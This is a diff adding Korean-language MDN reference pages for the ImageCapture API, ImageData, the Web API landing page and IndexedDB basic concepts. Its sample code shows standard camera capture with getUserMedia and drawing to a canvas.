const input = document.querySelector('input[type="range"]');
+
+var imageCapture;
+
+navigator.mediaDevices.getUserMedia({video: true})
+.then(mediaStream => {
+  document.querySelector('video').srcObject = mediaStream;
+
+  const track = mediaStream.getVideoTracks()[0];
+  imageCapture = new ImageCapture(track);
+
+  return imageCapture.getPhotoCapabilities();
+})
+.then(photoCapabilities => {
+  const settings = imageCapture.track.getSettings();
+
+  input.min = photoCapabilities.imageWidth.min;
+  input.max = photoCapabilities.imageWidth.max;
+  input.step = photoCapabilities.imageWidth.step;
+
+  return imageCapture.getPhotoSettings();
+})
+.then(photoSettings => {
+  input.value = photoSettings.imageWidth;
+})
+.catch(error => console.log('Argh!', error.name || error));
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('MediaStream Image','#dom-imagecapture-getphotosettings','getPhotoSettings()')}}{{Spec2('MediaStream Image')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.ImageCapture.getPhotoSettings")}}

+
diff --git a/files/ko/web/api/imagecapture/grabframe/index.html b/files/ko/web/api/imagecapture/grabframe/index.html new file mode 100644 index 0000000000..3a0b53ff05 --- /dev/null +++ b/files/ko/web/api/imagecapture/grabframe/index.html @@ -0,0 +1,73 @@ +--- +title: ImageCapture.grabFrame() +slug: Web/API/ImageCapture/grabFrame +tags: + - API + - Experimental + - ImageCapture + - MediaStream Image Capture API + - Method + - Reference +translation_of: Web/API/ImageCapture/grabFrame +--- +
{{APIRef("MediaStream Image")}}
+ +

{{domxref("ImageCapture")}} 인터페이스의 grabFrame() 메서드는 {{domxref("MediaStreamTrack")}}의 라이브 비디오에서 스냅샷을 찍고, 그 결과를 담은 {{domxref("ImageBitmap")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.

+ +

구문

+ +
const bitmapPromise = imageCapture.grabFrame()
+
+ +

반환 값

+ +

{{domxref("ImageBitmap")}} 객체로 이행하는 {{jsxref("Promise")}}.

+ +

예제

+ +

다음 예제는 Simple Image Capture 데모에서 가져온 것으로, grabFrame()이 반환한 {{jsxref("Promise")}}의 {{domxref("ImageBitmap")}}을 사용해 {{htmlelement("canvas")}} 요소에 할당하는 방법을 보입니다. 코드를 짧게 유지하기 위해 {{domxref("ImageCapture")}} 객체의 초기화 과정은 생략했습니다.

+ +
var grabFrameButton = document.querySelector('button#grabFrame');
+var canvas = document.querySelector('canvas');
+
+grabFrameButton.onclick = grabFrame;
+
+function grabFrame() {
+  imageCapture.grabFrame()
+  .then(function(imageBitmap) {
+    console.log('Grabbed frame:', imageBitmap);
+    canvas.width = imageBitmap.width;
+    canvas.height = imageBitmap.height;
+    canvas.getContext('2d').drawImage(imageBitmap, 0, 0);
+    canvas.classList.remove('hidden');
+  })
+  .catch(function(error) {
+    console.log('grabFrame() error: ', error);
+  });
+}
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('MediaStream Image','#dom-imagecapture-grabframe','grabFrame()')}}{{Spec2('MediaStream Image')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.ImageCapture.grabFrame")}}

+
diff --git a/files/ko/web/api/imagecapture/imagecapture/index.html b/files/ko/web/api/imagecapture/imagecapture/index.html new file mode 100644 index 0000000000..34841fe2d2 --- /dev/null +++ b/files/ko/web/api/imagecapture/imagecapture/index.html @@ -0,0 +1,67 @@ +--- +title: ImageCapture() 생성자 +slug: Web/API/ImageCapture/ImageCapture +tags: + - API + - Constructor + - Experimental + - ImageCapture + - MediaStream Image Capture API + - Reference +translation_of: Web/API/ImageCapture/ImageCapture +--- +
{{APIRef("MediaStream Image")}}
+ +

ImageCapture() 생성자는 새로운 {{domxref("ImageCapture")}} 객체를 생성합니다.

+ +

구문

+ +
const imageCapture = new ImageCapture(videoTrack)
+ +

매개변수

+ +
+
videoTrack
+
이미지를 가져올 때 사용할 {{domxref("MediaStreamTrack")}}. 화상전화 스트림, 재생 중인 영화, 웹캠 스트림 등 모든 출처를 사용할 수 있습니다.
+
+ +

반환 값

+ +

지정한 비디오 트랙에서 정지 프레임을 캡처할 수 있는 ImageCapture 객체.

+ +

예제

+ +

다음 예제는 {{domxref("MediaDevices.getUserMedia()")}}을 사용해, ImageCapture() 생성자에 필요한 {{domxref("MediaStreamTrack")}}을 가져오는 법을 보입니다.

+ +
 navigator.mediaDevices.getUserMedia({video: true})
+  .then(mediaStream => {
+    document.querySelector('video').srcObject = mediaStream
+    const track = mediaStream.getVideoTracks()[0];
+    imageCapture = new ImageCapture(track);
+  })
+  .catch(error => console.log(error));
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('MediaStream Image','#dom-imagecapture-imagecapture','ImageCapture')}}{{Spec2('MediaStream Image')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.ImageCapture.ImageCapture")}}

+
diff --git a/files/ko/web/api/imagecapture/index.html b/files/ko/web/api/imagecapture/index.html new file mode 100644 index 0000000000..4e96539bc1 --- /dev/null +++ b/files/ko/web/api/imagecapture/index.html @@ -0,0 +1,123 @@ +--- +title: ImageCapture +slug: Web/API/ImageCapture +tags: + - API + - Experimental + - ImageCapture + - Interface + - MediaStream Image Capture API + - Reference +translation_of: Web/API/ImageCapture +--- +
{{APIRef("MediaStream Image")}}
+ +

MediaStream Image Capture APIImageCapture 인터페이스는 유효한 {{domxref("MediaStreamTrack")}}이 참조하는 카메라 또는 기타 촬영 장치를 통해 이미지나 사진을 촬영하기 위한 메서드를 제공합니다.

+ +

생성자

+ +
+
{{domxref("ImageCapture.ImageCapture()", "ImageCapture()")}}
+
비디오 스트림을 나타내는 {{domxref("MediaStreamTrack")}}에서 정지 프레임(사진)을 캡처하기 위한 ImageCapture 객체를 반환합니다.
+
+ +

속성

+ +
+
{{domxref("ImageCapture.track")}} {{readonlyinline}}
+
생성자에 전달한 {{domxref("MediaStreamTrack")}}의 참조를 반환합니다.
+
+ +

메서드

+ +

ImageCapture 인터페이스는 {{domxref("EventTarget")}}의 메서드를 상속하며, 다음 메서드도 포함합니다.

+ +
+
{{domxref("ImageCapture.takePhoto()")}}
+
{{domxref("MediaStreamTrack")}}의 출처 비디오 캡처 장치를 통해 단일 노출 촬영을 한 후, 그 데이터를 담은 {{domxref("Blob")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.
+
{{domxref("ImageCapture.getPhotoCapabilities()")}}
+
가능한 설정 옵션을 담은 {{domxref("PhotoCapabilities")}} 객체로 이행하는 {{jsxref("Promise")}}를 반환합니다.
+
{{domxref("ImageCapture.getPhotoSettings()")}}
+
현재 사진 설정을 담은 {{domxref("PhotoSettings")}} 객체로 이행하는 {{jsxref("Promise")}}를 반환합니다.
+
{{domxref("ImageCapture.grabFrame()")}}
+
{{domxref("MediaStreamTrack")}}의 라이브 비디오에서 스냅샷을 찍은 후, 성공했으면 {{domxref("ImageBitmap")}}을 반환합니다.
+
+ +

예제

+ +

다음 코드는 Chrome의 Grab Frame - Take Photo Sample에서 가져온 것입니다. ImageCapture는 이미지를 캡처할 도구가 필요하므로, 다음 예제는 브라우저 단말기의 미디어 장치(카메라)로 시작합니다.

+ +

이 예제는 {{domxref("MediaStream")}}으로부터 추출한 {{domxref("MediaStreamTrack")}}부터 시작합니다. 그 다음엔 해당 트랙을 사용해 takePhoto()grabFrame()을 호출할 ImageCapture 객체를 생성합니다. 마침내, 최종 결과를 캔버스 객체에 적용합니다.

+ +
var imageCapture;
+
+function onGetUserMediaButtonClick() {
+  navigator.mediaDevices.getUserMedia({video: true})
+  .then(mediaStream => {
+    document.querySelector('video').srcObject = mediaStream;
+
+    const track = mediaStream.getVideoTracks()[0];
+    imageCapture = new ImageCapture(track);
+  })
+  .catch(error => console.log(error));
+}
+
+function onGrabFrameButtonClick() {
+  imageCapture.grabFrame()
+  .then(imageBitmap => {
+    const canvas = document.querySelector('#grabFrameCanvas');
+    drawCanvas(canvas, imageBitmap);
+  })
+  .catch(error => console.log(error));
+}
+
+function onTakePhotoButtonClick() {
+  imageCapture.takePhoto()
+  .then(blob => createImageBitmap(blob))
+  .then(imageBitmap => {
+    const canvas = document.querySelector('#takePhotoCanvas');
+    drawCanvas(canvas, imageBitmap);
+  })
+  .catch(error => console.log(error));
+}
+
+/* Utils */
+
+function drawCanvas(canvas, img) {
+  canvas.width = getComputedStyle(canvas).width.split('px')[0];
+  canvas.height = getComputedStyle(canvas).height.split('px')[0];
+  let ratio  = Math.min(canvas.width / img.width, canvas.height / img.height);
+  let x = (canvas.width - img.width * ratio) / 2;
+  let y = (canvas.height - img.height * ratio) / 2;
+  canvas.getContext('2d').clearRect(0, 0, canvas.width, canvas.height);
+  canvas.getContext('2d').drawImage(img, 0, 0, img.width, img.height,
+      x, y, img.width * ratio, img.height * ratio);
+}
+
+document.querySelector('video').addEventListener('play', function() {
+  document.querySelector('#grabFrameButton').disabled = false;
+  document.querySelector('#takePhotoButton').disabled = false;
+});
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('MediaStream Image','#imagecaptureapi','ImageCapture')}}{{Spec2('MediaStream Image')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.ImageCapture")}}

diff --git a/files/ko/web/api/imagecapture/takephoto/index.html b/files/ko/web/api/imagecapture/takephoto/index.html new file mode 100644 index 0000000000..ac7fd39f3d --- /dev/null +++ b/files/ko/web/api/imagecapture/takephoto/index.html @@ -0,0 +1,82 @@ +--- +title: ImageCapture.takePhoto() +slug: Web/API/ImageCapture/takePhoto +tags: + - API + - Experimental + - ImageCapture + - MediaStream Image Capture + - Method + - Reference +translation_of: Web/API/ImageCapture/takePhoto +--- +
{{APIRef("MediaStream Image")}}
+ +

{{domxref("ImageCapture")}} 인터페이스의 takePhoto() 메서드는 {{domxref("MediaStreamTrack")}}을 제공하는 비디오 캡처 장치를 사용해 단일 노출 촬영을 하고, 그 데이터를 담은 {{domxref("Blob")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.

+ +

구문

+ +
const blobPromise = imageCaptureObj.takePhoto([photoSettings])
+ +

매개변수

+ +
+
photoSettings {{optional_inline}}
+
사진을 촬영할 때 사용할 옵션을 나타내는 객체. 가능한 옵션은 다음과 같습니다. +
    +
  • fillLightMode: 캡처 장치의 플래시 설정. "auto", "off", "flash" 중 하나를 사용할 수 있습니다.
  • +
  • imageHeight: 원하는 이미지 크기의 높이를 나타내는 정숫값. 일련의 정해진 크기만 지원하는 경우, {{glossary("user agent", "사용자 에이전트")}}는 이 값과 제일 가까운 높이를 사용합니다.
  • +
  • imageWidth: 원하는 이미지 크기의 너비를 나타내는 정숫값. 일련의 정해진 크기만 지원하는 경우, 사용자 에이전트는 이 값과 제일 가까운 너비를 사용합니다.
  • +
  • redEyeReduction: 적목 현상 감소 기능이 존재하는 경우, 사용할지 나타내는 불리언 값.
  • +
+
+
+ +

반환 값

+ +

{{domxref("Blob")}}으로 이행하는 {{jsxref("Promise")}}.

+ +

예제

+ +

다음 코드는 Simple Image Capture 데모에서 가져온 것으로, takePhoto()가 반환한 {{jsxref("Promise")}}의 {{domxref("Blob")}}을 사용해 {{htmlelement("img")}} 요소에 할당하는 방법을 보입니다. 코드를 짧게 유지하기 위해 {{domxref("ImageCapture")}} 객체의 초기화 과정은 생략했습니다.

+ +
var takePhotoButton = document.querySelector('button#takePhoto');
+var canvas = document.querySelector('canvas');
+
+takePhotoButton.onclick = takePhoto;
+
+function takePhoto() {
+  imageCapture.takePhoto().then(function(blob) {
+    console.log('Took photo:', blob);
+    img.classList.remove('hidden');
+    img.src = URL.createObjectURL(blob);
+  }).catch(function(error) {
+    console.log('takePhoto() error: ', error);
+  });
+}
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('MediaStream Image','#dom-imagecapture-takephoto','takePhoto()')}}{{Spec2('MediaStream Image')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.ImageCapture.takePhoto")}}

+
diff --git a/files/ko/web/api/imagecapture/track/index.html b/files/ko/web/api/imagecapture/track/index.html new file mode 100644 index 0000000000..0cab8caacf --- /dev/null +++ b/files/ko/web/api/imagecapture/track/index.html @@ -0,0 +1,49 @@ +--- +title: ImageCapture.track +slug: Web/API/ImageCapture/track +tags: + - API + - Experimental + - ImageCapture + - MediaStream Image Capture + - Property + - Read-only + - Reference +translation_of: Web/API/ImageCapture/track +--- +
{{APIRef("MediaStream Image")}}
+ +

{{domxref("ImageCapture")}} 인터페이스의 track 읽기 전용 속성은 {{domxref("ImageCapture.ImageCapture","ImageCapture()")}} 생성자에 제공한 {{domxref("MediaStreamTrack")}}의 참조를 반환합니다.

+ +

구문

+ +
const mediaStreamTrack = imageCaptureObj.track
+ +

+ +

{{domxref("MediaStreamTrack")}} 객체.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('MediaStream Image','#dom-imagecapture-track','track')}}{{Spec2('MediaStream Image')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.ImageCapture.track")}}

+
diff --git a/files/ko/web/api/imagedata/index.html b/files/ko/web/api/imagedata/index.html new file mode 100644 index 0000000000..fb7beec45e --- /dev/null +++ b/files/ko/web/api/imagedata/index.html @@ -0,0 +1,134 @@ +--- +title: ImageData +slug: Web/API/ImageData +translation_of: Web/API/ImageData +--- +
{{APIRef("Canvas API")}}
+ +

ImageData 인터페이스는 {{HTMLElement("canvas")}} 엘리먼트 영역의 기저의 픽셀데이터를 나타냅니다{{domxref("ImageData.ImageData", "ImageData()")}}생성자나 canvas객체에 연결된 {{domxref("CanvasRenderingContext2D")}}객체의 {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}}나 {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}}메소드로 생성할 수 있습니다. ImageData는 {{domxref("CanvasRenderingContext2D.putImageData", "putImageData()")}}의 인자로 전달할 수 있으며, 이를 통해 canvas의 일부로 반영할 수 있습니다.

+ +

Constructors

+ +
+
{{domxref("ImageData.ImageData", "ImageData()")}} {{experimental_inline}}
+
인자로 주어진 {{jsxref("Uint8ClampedArray")}}로 부터 해당 크기에 맞는 ImageData객체를 생성합니다. 만약 인자가 주어지지 않으면 검정색 사각형 이미지를 생성합니다. {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}}는 worker에서 사용할 수 없기 때문에, ImageData의 생성자를 이용하는 것이 가장 일반적인 방법입니다.
+
+ +

Properties

+ +
+
{{domxref("ImageData.data")}} {{readonlyInline}}
+
{{jsxref("Uint8ClampedArray")}}형식이며 1차원 배열로 RGBA순서로 정의된 이미지 데이터를 나타내니다. 각 원소는 정수값으로 0에서 255사이의 값을 갖습니다.
+
{{domxref("ImageData.height")}} {{readonlyInline}}
+
unsigned long형식으로 ImageData의 pixel기준의 실제 높이값입니다.
+
{{domxref("ImageData.width")}} {{readonlyInline}}
+
unsigned long형식으로 ImageData의 pixel기준의 실제 가로값입니다.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "the-canvas-element.html#imagedata", "ImageData")}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support4.0{{CompatGeckoDesktop("14")}}9.09.03.1
Support in workers{{CompatUnknown}}{{CompatGeckoDesktop("25")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
ImageData() constructor{{CompatUnknown}}{{CompatGeckoDesktop("29")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support2.1{{CompatGeckoMobile("14")}}{{CompatUnknown}}10.03.2
Support in workers{{CompatUnknown}}{{CompatGeckoMobile("25")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
ImageData() constructor{{CompatUnknown}}{{CompatGeckoMobile("29")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/ko/web/api/index.html b/files/ko/web/api/index.html new file mode 100644 index 0000000000..fda766fffd --- /dev/null +++ b/files/ko/web/api/index.html @@ -0,0 +1,33 @@ +--- +title: Web API +slug: Web/API +tags: + - API + - DOM + - JavaScript + - Landing + - Reference + - Web +translation_of: Web/API +--- +

웹 코드를 작성한다면 많은 API를 사용할 수 있습니다. 아래 목록은 웹 앱이나 웹 사이트를 만들 때 사용할 수 있는 모든 인터페이스(객체의 유형)입니다.

+ +

Web API는 보통 JavaScript와 함께 사용하지만, 항상 그렇지는 않습니다.

+ +

명세

+ +

사용 가능한 API의 전체 목록입니다.

+ +

{{ListGroups}}

+ +

인터페이스

+ +

사용 가능한 인터페이스(객체의 유형) 전체 목록입니다.

+ +

{{APIListAlpha}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/index/index.html b/files/ko/web/api/index/index.html new file mode 100644 index 0000000000..c06701815a --- /dev/null +++ b/files/ko/web/api/index/index.html @@ -0,0 +1,10 @@ +--- +title: Index +slug: Web/API/Index +tags: + - API + - Index + - Landing +translation_of: Web/API/Index +--- +

{{Index("/ko/docs/Web/API")}}

diff --git a/files/ko/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html b/files/ko/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html new file mode 100644 index 0000000000..0975005ad9 --- /dev/null +++ b/files/ko/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html @@ -0,0 +1,219 @@ +--- +title: 기본 개념 +slug: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB +tags: + - Advanced + - IndexedDB +translation_of: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB +--- +

{{DefaultAPISidebar("IndexedDB")}}

+ +
+

IndexedDB는 사용자의 브라우저 안에 데이터를 영구적으로 저장하게 해주는 방법 중 하나입니다. 그것은 네트워크 가능 여부에 상관없이, 풍부한 쿼리 작성 능력으로 웹 애플리케이션을 만들게 해주고, 이 애플리케이션은 온라인과 오프라인 모두에서 동작할 수 있습니다. IndexedDB는 예를 들면, 도서관의 DVD 목록처럼 대용량 데이터를 저장하는 애플리케이션, 그리고 메일 클라이언트, to-do 리스트, 노트패드처럼 동작에 지속적인 인터넷 연결이 필요하지 않은 애플리케이션에 유용합니다.

+
+ +

이 문서에 대하여

+ +

이 소개글은 IndexedDB의 필수 개념과 용어에 대해 논의합니다. 큰 그림을 제공하고 핵심 개념들을 설명합니다.

+ +

다음과 같은 유용한 정보를 찾을 수 있을 것입니다.

+ + + +

IndexedDB 개요

+ +

IndexedDB는 "키(key)"로 지정된 객체를 저장하고 검색할 수 있도록 도와줍니다. 데이터베이스에 적용하는 모든 변경은 트렌잭션 안에서 일어납니다. 대부분의 웹 스토리지 솔루션과 마찬가지로, IndexedDB는 동일 출처 정책 (same-origin policy)을 따릅니다. 따라서 당신이 한 도메인의 데이터에 접근하고 있는 동안, 다른 도메인의 데이터에 접근할 수 없습니다.

+ +

IndexedDB는 웹 워커를 포함하는 대부분의 문맥(컨텍스트)에 사용될 수 있는 비동기(asynchronous) API입니다. 웹 워커에서 사용하기 위해 동기(synchronous) 버전도 존재했지만, 웹 커뮤니티의 관심부족으로 웹 스펙에서 제거되었습니다.

+ +

IndexedDB는 WebSQL 데이터베이스와 경쟁 관계에 있었지만, W3C는 2010 11월 8일에 WebSQL을 폐기(deprecated)하였습니다. IndexedDB와 WebSQL 모두 데이터 저장을 위한 솔루션이지만, 동일한 기능을 제공하지는 않습니다. WebSQL Database는 관계형 데이터베이스 접근 시스템인 반면, IndexedDB는 인덱스 테이블 시스템입니다.

+ +

주요 개념들

+ +

만약 당신이 다른 종류의 데이터베이스로 작업하고 있었다면, IndexedDB로 작업할 때 힘들어질 수도 있습니다. 그러므로 다음의 중요한 개념들을 염두에 두어야 합니다.

+ + + +

정의

+ +

이 섹션은 IndexedDB API에서 사용되는 용어들을 정의하고 설명합니다.

+ +

데이터베이스

+ +
+
데이터베이스
+
일반적으로 하나 혹은 그 이상의 객체 저장소로 구성되는 정보의 레파지토리입니다. 개별 데이터베이스는 다음의 내용을 반드시 가져야 합니다. +
    +
  • 이름(Name). 이것은 하나의 특정 출처 내에서 database를 구별하고 데이터베이스가 존재하는 동안 일정하게 유지됩니다. 이름은 빈 문자열을 포함해서 어떤 문자열 값이라도 될 수 있습니다.
  • +
  • +

    현재 버전. 데이터베이스가 처음 만들어질 때, 따로 지정하지 않으면 버전은 정수 1입니다. 각 데이터베이스는 주어진 순간에 오직 하나의 버전을 가질 수 있습니다.

    +
  • +
+
+
지속성
+
+

파이어폭스에서 indexedDB는 지속성을 유지하기 위해 사용됩니다. 즉, 읽기쓰기 트랜젝션{{domxref("IDBTransaction.oncomplete")}}이 모든 데이터가 디스크로 들어갈 수 있도록 보장될 때에만 실행됩니다.

+ +

파이어폭스 40에서, IndexedDB 트랜젝션은 성능을 높이기 위해 지속성 보장을 늦춰왔는데, 이는 IndexedDB를 지원하는 다른 브라우저도 동일한 방식입니다{{Bug("1112702")}}. 이 경우 {{Event("complete")}} 이벤트는 OS가 데이터 쓰기를 하라고 전달한 후, 데이터가 실제로 데이터베이스에 반영되기 전에 잠재적으로 실행됩니다. 이벤트는 이전보다 더 빠르게 전달될지도 모르지만, 만약 OS가 다운되거나 데이터가 데이터베이스에 반영되기 전에 시스템 전원이 부족하면, 전체 트랜젝션은 잃게 될 수도 있는 희박한 위험성이 존재합니다. 그런 치명적인 이벤트는 드물기 때문에, 대부분의 소비자는 더 이상 염려할 필요는 없습니다.

+ +
+

Note: 파이어폭스에서 (나중에 다시 계산 할 수 없는 까다로운 데이터를 저장하는 것)과 같은 몇 가지 이유로 지속성을 보장하고 싶다면, complete 이벤트가 전달되기 전에 아직 정식 표준이 아닌 실험적인 readwriteflush 모드를 이용하여 트랜젝션을 데이터베이스에 강제로 반영할 수 있습니다. ({{domxref("IDBDatabase.transaction")}} 참고.) 현재는 실험적으로 적용되어 있고(experimental), about:config에서dom.indexedDB.experimental값이 true 로 설정되어 있을 때만 사용할 수 있습니다.

+
+
+
객체 저장소
+
+

데이터베이스에 데이터가 저장되는 매커니즘입니다. 객체 저장소는 키(key)와 값(value)의 쌍으로 된 레코드를 영구적으로 잡습니다. 한 객체 저장소 안의 레코드는 키(key)에 따라 오름차순으로 정렬됩니다.

+ +

모든 객체 저장소는 데이터베이스 안에서 고유한 이름을 가져야 합니다. Object store는 선택적으로 key generatorkey path를 가질 수 있다.만약 object store가 key path를 가진다면, 그것은 in-line keys를 사용한다; 아니면, 그것은 out-of-line keys를 사용한다.

+ +

Object store에 대한 참고 문서를 위해, IDBObjectStore 또는 IDBObjectStoreSync를 보라.

+
+
version
+
Database가 처음 만들어질 때, 그것의 version은 interger 1이다. 각 database는 한번에 하나의 version을 가진다; 하나의 데이터베이스가 한번에 여러 version으로 존재할 수 없다. version을 바꾸는 유일한 방법은 현재 버전보다 큰 버전으로 그것을 여는 것이다. 이는 versionchange transaction을 시작하고 upgradeneeded event를 fire한다. database의 schema를 변경할 수 있는 유일한 곳은 그 event의 handler 내부이다.
+
Note: This definition describes the most recent specification, which is only implemented in up-to-date browsers. Old browsers implemented the now deprecated and removed IDBDatabase.setVersion() method.
+
database connection
+
 database를 여는 것에 의해 생성되는 operation. 한 주어진 database는 동시에 여러개의 connections를 가질 수 있다.
+
transaction
+
+

특정 database에 대한 data-access와 data-modification operations의 원자적이고 견고한 집합. 그것이 database에서 당신이 data로 상호작용하는 방법이다. 사실, database에서의 어떠한 data의 읽기 또는 변경도 transaction 내에서 일어나야 한다.

+ +

하나의 database connection은 한번에 그에 연관된 여러 active transaction을 가질 수 있다, writing transactions이 겹치는 scopes을 갖지 않는 동안. 생성에서 정의되는  transactions의 scope은 그 transaction이 어느 object stores와 상호작용할 수 있는지를 결정하고 그 transaction의 lifetime동안 일정하다. 따라서, 예를 들어, 만약 한 database connection이 flyingMonkey object store를 커버하는 scope의 writing transaction을 이미 가지면, 당신은  unicornCentaur과 unicornPegasus object stores의 scope을 가진 두번째 transaction을 시작할 수 있다. reading transactions로서, 당신은 여러개를 가질 수 있다 — 심지어 겹치는 것들이라도.

+ +

Transactions는 short-lived일 것이 기대된다, 그래서 브라우저는 너무 오래걸리는 transaction을 종료할 수 있다, 그 long-running transaction이 lock한 storage resources를 해제하기 위해. 당신은 transaction을 abort할 수 있다 , 이는 그 transaction에서 만들어진 변경들을 roll back한다. 그리고 당신은 심지어 transaction을 abort하기 위해 그것이 시작되거나 활성화되기를 기다릴 필요가 없다.

+ +

Transaction의 세가지 모드는: readwrite, readonly, 그리고 versionchange. Object stores와 indexes를 생성하는 유일한 방법은 versionchange transaction을 이용하는 것이다. transaction types를 더 배우기 위해, IndexedDB에 대한 reference article을 보라.

+ +

모든 것은 하나의 transaction에서 일어나기 때문에, IndexedDB에서 그것은 매우 중요한 개념이다. transactions에 대해 더 배우기 위해, 특히 그것들이 어떻게 versioning과 관련되는가에 대해, IDBTransaction를 보라, 그는 또한 reference documentation을 가진다. synchronous API에 대한 문서를 위해, IDBTransactionSync를 보라.

+
+
request
+
database에 읽고 쓰기를 행하는 operation. 모든 request는 하나의 읽기 혹은 쓰기 operation을 나타낸다.
+
index
+
+

하나의 index는 다른 object store의 records를 찾기 위한 specialized object store이다, referenced object store라 불리는. index는 그 records의 value part가 referenced object store의 한 record의 key part인 영구적인 key-value storage이다. 하나의 index의 records는 referenced object안에 record가 삽입되고 update되고 삭제될 때마다 자동적으로 생성된다. 하나의 index의 각 record는 그의 referenced object store의 오직 하나의 record를 가리킬 수 있다, 그러나 여러 indexes가 같은 object store를 참조할 수 있다. object store가 변할 때, 그 object store를 참조하는 모든 index는 자동으로 update된다.

+ +

다른 방법으로, key를 사용해서 object store에서 records를 찾을 수 있다.

+ +

indexes 사용하기에 대해 더 배우기 위해, Using IndexedDB를 보라. index에 대한 reference documentation을 위해, IDBKeyRange를 보라.

+
+
+ +

Key and value

+ +
+
key
+
+

object store에서 이에 의해 저장된 values가 조직되고 조회되는 하나의 data value. object store는 세 sources 중 하나로부터 key를 이끌어낼 수 있다: key generatorkey path, 또는 명시적으로 지정된 value. key는 그 앞에 있는 것보다 큰 값을 지닌 한 data type의 것이어야 한다. object store의 각 record는 같은 store 내에서 유일한 key를 가져야 한다, 따라서 당신은 주어진 object store에서 같은 key의 여러 records를 가질 수 없다.

+ +

하나의 key는 다음의 types 중 하나가 될 수 있다: string, date, float, 그리고 array. arrays에 대해, key는 empty value로부터 infinity의 범위가 될 수 있다. 그리고 당신은 array 내에 array를 포함할 수 있다. string 또는 integer의 key만 사용해야 한다는 요구사항은 없다{{ fx_minversion_inline("11") }}.

+ +

다른 방법으로, 당신은 index를 사용해서 object store에서 records를 찾을 수 있다.

+
+
key generator
+
정렬 sequence로 새 keys를 생성하기 위한 mechanism. 만약 한 object store가 key generator를 가지지 않으면, application은 저장되는 records를 위한 keys를 제공해야 한다. Generators는 stores 간에 공유되지 않는다. 이것은 브라우저 구현 세부사항에 가깝다, 때문에 web 개발에서, 당신은 실제로 key generators를 만들고 접근할 필요가 없다.
+
in-line key
+
저장되는 value의 부분으로서 저장되는 key. key path를 사용함으로써 찾아진다. 하나의 in-line key는 generator를 이용해서 생성될 수 있다. key가 생성된 후에, 그것은 key path를 사용하는 value에 저장될 수 있거나 key로서 사용될 수 있다.
+
out-of-line key
+
저장되는 value와는 따로 저장되는 key.
+
key path
+
object store 또는 index에서 브라우저가 어디로부터 key를 추출해야 하는지 정의한다. 하나의 valid key path는 다음 중 하나를 포함할 수 있다: an empty string, a JavaScript identifier, or multiple JavaScript identifiers separated by periods. 그것은 spaces를 포함할 수 없다.
+
value
+
+

각각의 record는 하나의 value를 가진다, 이는 javascript로 표현될 수 있는 어떤 것이라도 포함할 수 있다, boolean, number, string, date, object, array, regexp, undefined, 그리고 null을 포함해서.

+ +

object 또는 array가 저장될 때, 그 object 또는 array의  properties 와 values는 적합한 어떤 값이라도 될 수 있다.

+ +

Blobs와 files가 저장될 수 있다, cf. specification {{ fx_minversion_inline("11") }}.

+
+
+ +

Range and scope

+ +
+
scope
+
한 transaction이 적용되는 object stores와 indexe. read-only transactions의 scope은 겹칠 수 있고 동시에 실행될 수 있다. 한편으로, writing transactions의 scope은 겹칠 수 없다. 당신은 여전히 동시에 같은 scope의 여러 transaction을 실행할 수 있지만 그들은 queue up하고 하나하나 차례로 실행된다.
+
cursor
+
한 key range의 여러 records에 대한 iterating을 위한 mechanism. The cursor는 그것이 iterating하는 것이 어느 index또는 object store인지 가리키는 한 source를 가진다. 그것은 그 range 내의 position을 가지고, record keys의 순서에서 증가 혹은 감소하는 한 방향으로 움직인다. cursors에 대한 reference documentation을 위해, IDBCursor 또는 IDBCursorSync를 보라.
+
key range
+
+

keys를 위해 사용되는 몇몇 data type에 대한 하나의 연속 구간. Records는 keys 또는 하나의 range of keys를 사용하는 object sotres와 indexes로부터 조회될 수 있다. 당신은 lower 그리고 upper bound를 사용해서 range를 제한하거나 걸러낼 수 있다. 예를 들어, 당신은 x와 y 사이의 한 key의 모든 값에 대해 iterate할 수 있다.

+ +

key range에 대한 reference documentation을 위해, IDBKeyRange를 보라.

+
+
+ +

한계점들

+ +

IndexedDB는 client-side storage가 필요한 대부분의 경우를 해결하기 위해 만들어졌다. 하지만 그것은 다음과 같은 몇 가지 경우를 해결하진 못 한다:

+ + + +

